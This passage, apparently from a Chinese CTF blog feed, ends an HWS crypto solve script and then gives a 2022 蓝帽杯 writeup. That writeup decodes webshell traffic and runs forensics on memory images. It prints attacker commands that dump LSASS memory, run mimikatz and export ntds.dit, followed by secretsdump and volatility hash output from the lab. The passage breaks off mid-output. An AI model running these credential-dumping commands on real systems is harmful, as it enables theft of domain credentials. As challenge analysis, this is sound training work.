的源码,想想不太实际。</p><p>注意到 $m$ 肯定是小于 $p$ 的(不然不用解了),$p$ 只有 512 bits,85 bits 一个组,最多也就 6 组(事实上题目已经给了 $c$)。</p><p>直接全排列枚举复杂度才 6! = 720 完全可以接受,枚举 $a$, $b$ 通解,枚举全排列,求解 $m$ 看是否为 <code>b'flag'</code> 开头。</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sol_PELL</span>(<span class="params">D</span>):</span><br><span class="line"> m = isqrt(D)</span><br><span class="line"> x = D**(<span class="number">0.5</span>)</span><br><span class="line"> num=[]</span><br><span class="line"> num.append(m)</span><br><span class="line"> b = m</span><br><span class="line"> c = <span class="number">1</span></span><br><span class="line"> <span class="keyword">while</span> num[-<span class="number">1</span>] != <span class="number">2</span> * num[<span class="number">0</span>]:</span><br><span class="line"> c = (D - b**<span class="number">2</span>) // c</span><br><span class="line"> tmp = (x + b) // c</span><br><span class="line"> num.append(<span class="built_in">int</span>(tmp))</span><br><span class="line"> b = num[-<span class="number">1</span>] * c - b</span><br><span class="line"> num = num[:-<span class="number">1</span>]</span><br><span class="line"> num.reverse()</span><br><span class="line"> x, y = <span class="number">1</span>, <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> num:</span><br><span class="line"> y, x = x, i * x + y</span><br><span class="line"> <span class="keyword">return</span> x, y</span><br><span class="line"></span><br><span class="line">D = <span class="number">0x1337</span></span><br><span class="line">a0, b0 = sol_PELL(D)</span><br><span class="line"></span><br><span class="line">p = <span class="number">11199186558148426014734492874345932099384932524559726349180064588241518696390926354448476750322781683505497782040786332571272422812867731614415519029276349</span></span><br><span class="line">plist = [<span class="string">'0010101111100011101101011111111001011000100110001001000000010001111011110101110011111'</span>, <span class="string">'0011010010010010110010011011001100110001100010101110001010001101110001100000111011010'</span>, <span class="string">'0110101101011101110000100001000000010001110110001010000000010110010101100100101110000'</span>, <span class="string">'0100111001011010000101100111100110101100011100100111011000110001111101000110110101101'</span>, <span class="string">'1100100110011101010011011111000101011011010000101100011001110100101000101101111110100'</span>, <span class="string">'1110111110001110000101100000000100111010110000001111010001101001100001010110101010001'</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">work</span>(<span class="params">a, b</span>):</span><br><span class="line"> inv = invert(a, p)</span><br><span class="line"> perms = <span class="built_in">list</span>(itertools.permutations(plist))</span><br><span class="line"> <span class="keyword">for</span> perm <span class="keyword">in</span> perms:</span><br><span class="line"> s = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> _ <span class="keyword">in</span> perm:</span><br><span class="line"> s = s + _</span><br><span class="line"> num = <span class="built_in">int</span>(s, <span class="number">2</span>) % p</span><br><span class="line"> m = ((num - b) % p + p) % p</span><br><span class="line"> m = m * inv % p</span><br><span class="line"> <span class="keyword">assert</span>(num == (a * m + b) % p)</span><br><span class="line"> flag = long_to_bytes(m)</span><br><span class="line"> <span class="keyword">if</span> (flag[:<span class="number">4</span>] == <span class="string">b'flag'</span>):</span><br><span class="line"> <span class="built_in">print</span>(flag)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">a, b = a0, b0</span><br><span class="line"><span class="keyword">while</span> <span class="keyword">not</span> work(a, b):</span><br><span class="line"> a, b = a * a0 + D * b * b0, a * b0 + b * a0</span><br><span class="line"> <span class="keyword">assert</span>(a**<span class="number">2</span> - D * b**<span class="number">2</span> == <span class="number">1</span>)</span><br><span class="line"> </span><br><span class="line"><span class="comment"># b'flag{5b80aaa2-2bb2-0ef1-4aa0-a5a9387239d5}'</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>寒假参加了 HWS 冬令营选拔赛,最近整理文件的时候想着记录一下。</p>
<p>整体比赛难度不大,水了个第十名,主要大佬们都去参加 Real World CTF 了,只有我还在这里摸爬滚打 /(ㄒoㄒ)/~~</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="HWS" scheme="https://sxyugao.top/categories/CTF/HWS/"/>
<category term="HWS" scheme="https://sxyugao.top/tags/HWS/"/>
</entry>
<entry>
<title>蓝帽杯 2022 Writeup</title>
<link href="https://sxyugao.top/p/533ccbb.html"/>
<id>https://sxyugao.top/p/533ccbb.html</id>
<published>2022-08-01T12:04:03.000Z</published>
<updated>2022-08-10T03:27:37.478Z</updated>
<content type="html"><![CDATA[<p>7月底划水打了蓝帽杯,然后一直没写 wp 鸽到现在,感觉整个暑假啥也没干,应该写点啥。</p><span id="more"></span><h2 id="Misc">Misc</h2><h3 id="domainhacker">domainhacker</h3><p>本来在准备 hvv,但由于疫情原因不了了之。不过鉴于那段时间的培训,一下子就分辨出是蚁剑的流量。本题的流量是经过 base64 加密并且加 Salt 的,不过可以从代码还原出来。</p><p>在流量包的请求体中能轻松辨别出参数,解码后依次有以下这些有用的指令:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /d <span class="string">"C:\\phpstudy_pro\\WWW"</span>&powershell <span class="literal">-c</span> <span class="string">"rundll32 C:\windows\system32\comsvcs.dll, MiniDump 476 C:\windows\temp\lsass.dmp full"</span>&<span class="built_in">echo</span> efa923ba504&<span class="built_in">cd</span>&<span class="built_in">echo</span> <span class="number">1</span>a4be8815ef8</span><br><span class="line"><span class="comment"># 将内存中 dump 出来</span></span><br><span class="line"><span class="built_in">cd</span> /d <span class="string">"c:\\Windows\\Temp"</span>&mimikatz.exe <span class="string">"privilege::debug"</span> <span class="string">"sekurlsa::minidump lsass.dmp"</span> <span class="string">"sekurlsa::logonpasswords"</span> <span class="string">"exit"</span> > <span class="number">1</span>.txt&<span class="built_in">echo</span> efa923ba504&<span class="built_in">cd</span>&<span class="built_in">echo</span> <span class="number">1</span>a4be8815ef8</span><br><span class="line"><span class="comment"># 用 mimikatz 把内存中的域信息导出到 1.txt</span></span><br><span class="line"><span class="built_in">cd</span> /d <span class="string">"c:\\Windows\\Temp"</span>&rar.exe a <span class="literal">-PSecretsPassw0rds</span> <span class="number">1</span>.rar <span class="number">1</span>.txt&<span class="built_in">echo</span> efa923ba504&<span class="built_in">cd</span>&<span class="built_in">echo</span> <span class="number">1</span>a4be8815ef8</span><br><span class="line"><span class="comment"># 进行加密压缩</span></span><br></pre></td></tr></table></figure><p>这样我们就知道压缩包密码是 <code>SecretsPassw0rds</code>,之后还有个下载请求,分离出压缩包,解压得到 <code>1.txt</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">Authentication Id : 0 ; 996 (00000000:000003e4)</span><br><span class="line">Session : Service from 0</span><br><span class="line">User Name : PDC$</span><br><span class="line">Domain : TEST</span><br><span class="line">Logon Server : (null)</span><br><span class="line">Logon Time : 2022/4/15 22:22:24</span><br><span class="line">SID : S-1-5-20</span><br><span class="line"> msv :</span><br><span class="line"> [00000003] Primary</span><br><span class="line"> * Username : PDC$</span><br><span class="line"> * Domain : TEST</span><br><span class="line"> * NTLM : 416f89c3a5deb1d398a1a1fce93862a7</span><br><span class="line"> * SHA1 : 54896b6f5e60e9be2b46332b13d0e0f110d6518f</span><br><span class="line"> tspkg :</span><br><span class="line"> wdigest :</span><br><span class="line"> * Username : PDC$</span><br><span class="line"> * Domain : TEST</span><br><span class="line"> * Password : (null)</span><br><span class="line"> kerberos :</span><br><span class="line"> * Username : pdc$</span><br><span class="line"> * Domain : test.local</span><br><span class="line"> * Password : 15 e0 7e 07 d9 9d 3d 42 45 40 38 ec 97 d6 25 59 c9 e8 05 d9 fa bd 81 f9 2e 05 67 84 e1 a3 a3 ec eb 65 ba 6e b9 60 9b dd 5a 74 4b 2e 07 68 94 fd a1 cb 2e 7b a2 13 07 31 34 c2 1d e8 95 53 43 38 61 91 53 2b c4 b0 3e ea 7a ac 03 60 1f bf e8 dc 00 c5 fe 13 ed 7a ca 88 32 fc d0 c6 ea d2 c7 b4 87 31 82 dd 4c 96 4f 23 80 39 2e 31 b0 cf 67 8e 63 b2 5e f9 77 32 44 05 8e 22 f9 0c 69 32 64 1b b8 2d a0 99 0e b8 0e 2c 10 b6 ff 6d 5f 11 c9 5e 46 eb 62 df 00 7a bd c6 7b 83 db 0f 58 ed ac a3 66 dd c2 ec df 9f 22 b3 34 0d 07 89 ea 3b 2b b1 e1 f9 e2 e5 85 cd a3 78 ae dd e3 98 78 39 8e 4f 49 5a b6 05 4c 6d 1a e6 fa 30 c7 c6 fb 4d dc b4 ca f6 3c 20 fe 70 eb e3 16 82 78 f8 49 8d 15 6a 15 10 ac d8 68 f8 ef ad 0c c2 39 f2 ca 80 ef 96 </span><br><span class="line"> ssp :KO</span><br><span class="line"> credman :</span><br></pre></td></tr></table></figure><p>把 NTLM 的值作为 flag 即可:<code>flag{416f89c3a5deb1d398a1a1fce93862a7}</code></p><h3 id="domainhacker2">domainhacker2</h3><p>类似的,同样是蚁剑的流量,不过指令种类更加丰富(有机会来分析一下各类流量)。</p><p>同样提取出有用的指令:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /d <span class="string">"C:\\phpstudy_pro\\WWW"</span>&dsquery computer&<span class="built_in">echo</span> <span class="number">1</span>d3632&<span class="built_in">cd</span>&<span class="built_in">echo</span> <span class="number">78</span>bc462ab</span><br></pre></td></tr></table></figure><p>获取到域中的计算机(CN = Common Name,OU = Organizational Unit,DC = Domain Component):</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">"CN=PDC,OU=Domain Controllers,DC=test,DC=local"</span><br><span class="line">"CN=EXCHANGE,CN=Computers,DC=test,DC=local"</span><br><span class="line">"CN=SDC,OU=Domain Controllers,DC=test,DC=local"</span><br><span class="line">"CN=testnew,CN=Computers,DC=test,DC=local"</span><br><span class="line">"CN=WIN-PJ6ELFEG09P,CN=Computers,DC=test,DC=local"</span><br><span class="line">"CN=testcomputer,CN=Computers,DC=test,DC=local"</span><br><span class="line">"CN=t,CN=Computers,DC=test,DC=local"</span><br><span class="line">"CN=tt,CN=Computers,DC=test,DC=local"</span><br></pre></td></tr></table></figure><p>获取本机名:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /d <span class="string">"C:\\phpstudy_pro\\WWW"</span>&hostname&<span class="built_in">echo</span> <span class="number">1</span>d3632&<span class="built_in">cd</span>&<span class="built_in">echo</span> <span class="number">78</span>bc462ab</span><br></pre></td></tr></table></figure><p>得知本机为 PDC,结合之前的域信息得知本机就是域管理员。</p><p>新建了一个 <code>log.txt</code>,并写入以下内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ac i ntds</span><br><span class="line">ifm</span><br><span class="line">create full c:\windows\temp\new</span><br><span class="line">q</span><br><span class="line">q</span><br></pre></td></tr></table></figure><p>与<a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration">这篇文章</a>相同的方法(只是把 log.txt 作为流输入了)导出密钥信息:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /d <span class="string">"C:\\phpstudy_pro\\WWW"</span>&cmd.exe /c ntdsutil.exe < log.txt >err.txt <span class="number">2</span>>&<span class="number">1</span>&<span class="built_in">echo</span> <span class="number">1</span>d3632&<span class="built_in">cd</span>&<span class="built_in">echo</span> <span class="number">78</span>bc462ab</span><br></pre></td></tr></table></figure><p>导出到 <code>err.txt</code>,并获得回显:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">ntdsutil.exe: 活动实例设置为“ntds”。</span><br><span class="line">ntdsutil.exe: ifm: 正在创建快照...</span><br><span class="line">成功生成快照集 {f9c1f274-352f-439a-bdaa-7c3dd12b17c9}。</span><br><span class="line">快照 {2c502f9f-0060-4286-a0f3-f1c10becc9db} 已作为 C:\$SNAP_202204161011_VOLUMEC$\ 装载</span><br><span class="line">已装载快照 {2c502f9f-0060-4286-a0f3-f1c10becc9db}。</span><br><span class="line">正在启动碎片整理模式...</span><br><span class="line"> 源数据库: C:\$SNAP_202204161011_VOLUMEC$\Windows\NTDS\ntds.dit</span><br><span class="line"> 目标数据库: c:\windows\temp\new\Active Directory\ntds.dit</span><br><span class="line"></span><br><span class="line"> Defragmentation Status (% complete)</span><br><span class="line"></span><br><span class="line"> 0 10 20 30 40 50 60 70 80 90 100</span><br><span class="line"> |----|----|----|----|----|----|----|----|----|----|</span><br><span class="line"> ...................................................</span><br><span class="line"></span><br><span class="line">正在复制注册表文件...</span><br><span class="line">正在复制 c:\windows\temp\new\registry\SYSTEM</span><br><span class="line">正在复制 c:\windows\temp\new\registry\SECURITY</span><br><span class="line">快照 {2c502f9f-0060-4286-a0f3-f1c10becc9db} 已卸载。</span><br><span class="line">在 c:\windows\temp\new 中成功创建 IFM 媒体。</span><br><span class="line">ifm: ntdsutil.exe: 1d3632</span><br></pre></td></tr></table></figure><p>然后和前一题一样使用压缩包打包,密码是 <code>FakePassword123$</code>,不得不说挺有迷惑性的:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /d <span class="string">"c:\\Windows\\Temp"</span>&rar.exe a <span class="literal">-PFakePassword123</span><span class="variable">$</span> ntds.rar new&<span class="built_in">echo</span> <span class="number">1</span>d3632&<span class="built_in">cd</span>&<span class="built_in">echo</span> <span class="number">78</span>bc462ab</span><br></pre></td></tr></table></figure><p>我们用 impacket 的 secretsdump 脚本导出密钥信息,注意要历史密钥:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python secretsdump.py -system "domainhacker2_184c16876d41965a695f89232ae5392d\new\registry\SYSTEM" -security "domainhacker2_184c16876d41965a695f89232ae5392d\new\registry\SECURITY" -ntds "domainhacker2_184c16876d41965a695f89232ae5392d\new\Active Directory\ntds.dit" LOCAL -just-dc-ntlm -history</span><br></pre></td></tr></table></figure><p>省略了中间的一些邮箱服务检测账户:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation</span><br><span class="line"></span><br><span class="line">[*] Target system bootKey: 0xf5a55bb9181f33269276949d2ad680e5</span><br><span class="line">[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)</span><br><span class="line">[*] Searching for pekList, be patient</span><br><span class="line">[*] PEK # 0 found and decrypted: 752aa10b88b269bd735d54b802d5c86c</span><br><span class="line">[*] Reading and decrypting hashes from C:\Users\YuGao\Downloads\domainhacker2_184c16876d41965a695f89232ae5392d\new\Active Directory\ntds.dit</span><br><span class="line">test.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:a85016dddda9fe5a980272af8f54f20e:::</span><br><span class="line">test.local\Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:07ab403ab740c1540c378b0f5aaa4087:::</span><br><span class="line">test.local\Administrator_history1:500:aad3b435b51404eeaad3b435b51404ee:34e92e3e4267aa7055a284d9ece2a3ee:::</span><br><span class="line">test.local\Administrator_history2:500:aad3b435b51404eeaad3b435b51404ee:34e92e3e4267aa7055a284d9ece2a3ee:::</span><br><span class="line">Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span><br><span class="line">Admin:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::</span><br><span class="line">test:1003:aad3b435b51404eeaad3b435b51404ee:4f95f1c5acfc3b972a1ce2a29ef1f1c5:::</span><br><span class="line">test_history0:1003:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::</span><br><span class="line">test_history1:1003:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::</span><br><span class="line">PDC$:1004:aad3b435b51404eeaad3b435b51404ee:416f89c3a5deb1d398a1a1fce93862a7:::</span><br><span class="line">PDC$_history0:1004:aad3b435b51404eeaad3b435b51404ee:77c3da77dc1b7a6c257ba59cd4633209:::</span><br><span class="line">krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d9c46df1a433693842082203898424f:::</span><br><span class="line">EXCHANGE$:1107:aad3b435b51404eeaad3b435b51404ee:8f203498c3054ed0e01efc9d1da10ecd:::</span><br><span class="line">EXCHANGE$_history0:1107:aad3b435b51404eeaad3b435b51404ee:c5c7378155dc9d28ad53d8c1f9e9d915:::</span><br><span class="line">......</span><br><span class="line">test1:1149:aad3b435b51404eeaad3b435b51404ee:8cbbbea6034f5c9ea6bc4eb980efec4d:::</span><br><span class="line">test1_history0:1149:aad3b435b51404eeaad3b435b51404ee:8cbbbea6034f5c9ea6bc4eb980efec4d:::</span><br><span class="line">test1_history1:1149:aad3b435b51404eeaad3b435b51404ee:8cbbbea6034f5c9ea6bc4eb980efec4d:::</span><br><span class="line">test1_history2:1149:aad3b435b51404eeaad3b435b51404ee:8cbbbea6034f5c9ea6bc4eb980efec4d:::</span><br><span class="line">test1_history3:1149:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::</span><br><span class="line">SDC$:1151:aad3b435b51404eeaad3b435b51404ee:9f40caf799bf0d110fdf08b3bf3eb6c0:::</span><br><span class="line">SDC$_history0:1151:aad3b435b51404eeaad3b435b51404ee:8f3cfaf7a6290b735bcbba5b60d554d4:::</span><br><span class="line">SDC$_history1:1151:aad3b435b51404eeaad3b435b51404ee:7bfe440904b9611776477b85eea398fc:::</span><br><span class="line">testnew$:1152:aad3b435b51404eeaad3b435b51404ee:c22b315c040ae6e0efee3518d830362b:::</span><br><span class="line">WIN-PJ6ELFEG09P$:1153:aad3b435b51404eeaad3b435b51404ee:6533cba50e01cace16567ec5691e587f:::</span><br><span class="line">testcomputer$:1154:aad3b435b51404eeaad3b435b51404ee:c22b315c040ae6e0efee3518d830362b:::</span><br><span class="line">t$:1155:aad3b435b51404eeaad3b435b51404ee:c22b315c040ae6e0efee3518d830362b:::</span><br><span class="line">tt$:1156:aad3b435b51404eeaad3b435b51404ee:c22b315c040ae6e0efee3518d830362b:::</span><br><span class="line">WebApp01$:1157:aad3b435b51404eeaad3b435b51404ee:b021fa4e92913d91a6eade97884f508b:::</span><br><span class="line">aaa:1158:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::</span><br><span class="line">[*] Cleaning up...</span><br></pre></td></tr></table></figure><p>题目要的是 administrator 的上一次 ntlm,别弄错了!</p><p><code>flag{07ab403ab740c1540c378b0f5aaa4087}</code></p><h2 id="电子取证">电子取证</h2><h3 id="手机取证">手机取证</h3><p>感觉是推销盘古石取证的题(雾),用给的工具找就行了,纯粹的签到题。</p><h3 id="计算机取证-1">计算机取证_1</h3><p>用老牌工具 volatility 直接 hashdump 即可,值得注意的是 volatility3 的使用方法和 v2 有很大的不同,网上也没啥教程,摸索了半天。</p><p>下面的是最后弄出来的最简单的办法,中途用的是 volshell,非常折磨。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.\vol.py <span class="operator">-f</span> <span class="number">1</span>.dmp windows.hashdump.Hashdump</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Volatility 3 Framework 2.3.0</span><br><span class="line">Progress: 100.00 PDB scanning finished</span><br><span class="line">User rid lmhash nthash</span><br><span class="line"></span><br><span class="line">Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0</span><br><span class="line">Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0</span><br><span class="line">taqi7 1000 aad3b435b51404eeaad3b435b51404ee 7f21caca5685f10d9e849cc84c340528</span><br><span class="line">naizheng 1002 aad3b435b51404eeaad3b435b51404ee d123b09e13b1a82277c3e3f0ca722060</span><br><span class="line">qinai 1003 aad3b435b51404eeaad3b435b51404ee 1c333843181864a58156f3e9498fe905</span><br></pre></td></tr></table></figure><p>拿 <code>7f21caca5685f10d9e849cc84c340528</code> 去 MD5 网站查询得到是 <code>anxinqi</code>。</p><h3 id="计算机取证-2">计算机取证_2</h3><p>还是用的 volatility:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.\vol.py <span class="operator">-f</span> <span class="string">"C:\Users\YuGao\Documents\Tencent Files\2645943187\FileRecv\计算机取证\1.dmp"</span> windows.pslist.PsList > log.txt</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">Volatility 3 Framework 2.3.0</span><br><span class="line"></span><br><span class="line">PID PPIDImageFileNameOffset(V)ThreadsHandlesSessionIdWow64CreateTimeExitTimeFile output</span><br><span class="line"></span><br><span class="line">4 0System0xfa800ccc7890105623N/AFalse2022-04-28 05:38:41.000000 N/ADisabled</span><br><span class="line">288 4smss.exe0xfa800d9c3610229N/AFalse2022-04-28 05:38:41.000000 N/ADisabled</span><br><span class="line">384 376csrss.exe0xfa800e10074094860False2022-04-28 05:38:42.000000 N/ADisabled</span><br><span class="line">424 376wininit.exe0xfa800e4a38403780False2022-04-28 05:38:43.000000 N/ADisabled</span><br><span class="line">436 416csrss.exe0xfa800e4a7b30106451False2022-04-28 05:38:43.000000 N/ADisabled</span><br><span class="line">492 416winlogon.exe0xfa800e50b06051161False2022-04-28 05:38:43.000000 N/ADisabled</span><br><span class="line">532 424services.exe0xfa800e52391062160False2022-04-28 05:38:43.000000 N/ADisabled</span><br><span class="line">544 424lsass.exe0xfa800e52fb3066140False2022-04-28 05:38:43.000000 N/ADisabled</span><br><span class="line">552 424lsm.exe0xfa800e489060112090False2022-04-28 05:38:43.000000 N/ADisabled</span><br><span class="line">...</span><br><span class="line">1020 776audiodg.exe0xfa800e6f706061310False2022-04-28 05:38:44.000000 N/ADisabled</span><br><span class="line">420 532svchost.exe0xfa800e72206095300False2022-04-28 05:38:44.000000 N/ADisabled</span><br><span class="line">956 532ZhuDongFangYu.0xfa800e749b30263940True2022-04-28 05:38:44.000000 N/ADisabled</span><br><span class="line">1040 532svchost.exe0xfa800e75a950236360False2022-04-28 05:38:44.000000 N/ADisabled</span><br><span class="line">1300 532spoolsv.exe0xfa800e85b570123130False2022-04-28 05:38:45.000000 N/ADisabled</span><br><span class="line">1336 532svchost.exe0xfa800e88cb30173210False2022-04-28 05:38:45.000000 N/ADisabled</span><br><span class="line">1440 532svchost.exe0xfa800e9076304810True2022-04-28 05:38:45.000000 N/ADisabled</span><br><span class="line">1548 532vmtoolsd.exe0xfa800e9c674092760False2022-04-28 05:38:45.000000 N/ADisabled</span><br><span class="line">1960 532svchost.exe0xfa800eabd06051010False2022-04-28 05:38:46.000000 N/ADisabled</span><br><span class="line">1612 532dllhost.exe0xfa800eb07b30131860False2022-04-28 05:38:46.000000 N/ADisabled</span><br><span class="line">2068 532msdtc.exe0xfa800eb36b30121440False2022-04-28 05:38:48.000000 N/ADisabled</span><br><span class="line">2512 532svchost.exe0xfa800eabe980111460False2022-04-28 05:40:46.000000 N/ADisabled</span><br><span class="line">2584 532svchost.exe0xfa800ea79b30133350False2022-04-28 05:40:46.000000 N/ADisabled</span><br><span class="line">2648 532SearchIndexer.0xfa800eaa8310116580False2022-04-28 05:40:47.000000 N/ADisabled</span><br><span class="line">1792 660WmiPrvSE.exe0xfa800ea7a0f071140False2022-04-28 05:42:48.000000 N/ADisabled</span><br><span class="line">916 532taskhost.exe0xfa800cdf4b3092091False2022-04-28 05:42:55.000000 N/ADisabled</span><br><span class="line">972 920dwm.exe0xfa800cdfe2103701False2022-04-28 05:42:55.000000 N/ADisabled</span><br><span class="line">2044 1716explorer.exe0xfa800e585b305313351False2022-04-28 05:42:55.000000 N/ADisabled</span><br><span class="line">2672 2044vmtoolsd.exe0xfa800e83eb3072091False2022-04-28 05:42:56.000000 N/ADisabled</span><br><span class="line">2664 2044ldnews.exe0xfa800e84f780103631True2022-04-28 05:42:56.000000 N/ADisabled</span><br><span class="line">2436 956360Tray.exe0xfa800ea2558015014551True2022-04-28 05:42:57.000000 N/ADisabled</span><br><span class="line">3500 2288LiveUpdate360.0xfa800edc8b30183051True2022-04-28 05:43:13.000000 N/ADisabled</span><br><span class="line">4012 3784360TptMon.exe0xfa800ee90b30174151True2022-04-28 